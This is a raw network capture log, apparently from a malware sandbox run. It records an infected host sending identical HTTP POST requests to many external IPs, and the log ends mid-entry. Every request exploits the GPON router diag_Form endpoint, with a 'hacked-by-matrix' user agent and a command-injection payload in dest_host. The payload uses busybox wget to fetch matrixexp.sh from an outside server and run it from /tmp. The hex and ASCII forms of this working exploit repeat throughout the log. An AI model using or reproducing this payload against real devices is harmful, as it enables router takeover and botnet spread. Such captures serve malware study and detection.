Mar 21, 2024 05:21:47.432463884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.13	40030	42.33.110.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432467937 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.13	53208	212.90.173.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432483912 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.13	59840	109.178.139.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432512045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.13	58970	5.88.32.123	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432548046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.13	48018	42.52.107.136	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432575941 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.13	56764	42.215.56.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432607889 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.13	44656	212.218.251.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432632923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.13	53784	42.40.244.40	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432657003 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.13	53294	118.133.25.206	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432707071 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.13	42600	212.236.229.120	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432744980 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.13	35222	109.87.191.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432744980 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.13	41756	212.51.64.197	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432764053 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.13	55150	42.61.229.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432811022 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.13	36712	212.152.106.37	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432861090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.13	40402	118.86.178.158	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432862043 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.13	48918	5.252.181.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432919979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.13	49424	109.16.159.158	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432925940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.13	36036	118.63.239.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433003902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.13	34000	42.118.47.121	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433037043 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.13	56738	42.109.60.18	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433039904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.13	50192	109.168.76.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433068991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.13	35082	118.116.241.177	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433084011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.13	49350	109.119.26.97	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433106899 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.13	46396	118.42.52.144	443

Timestamp	Bytes transferred	Direction	Data
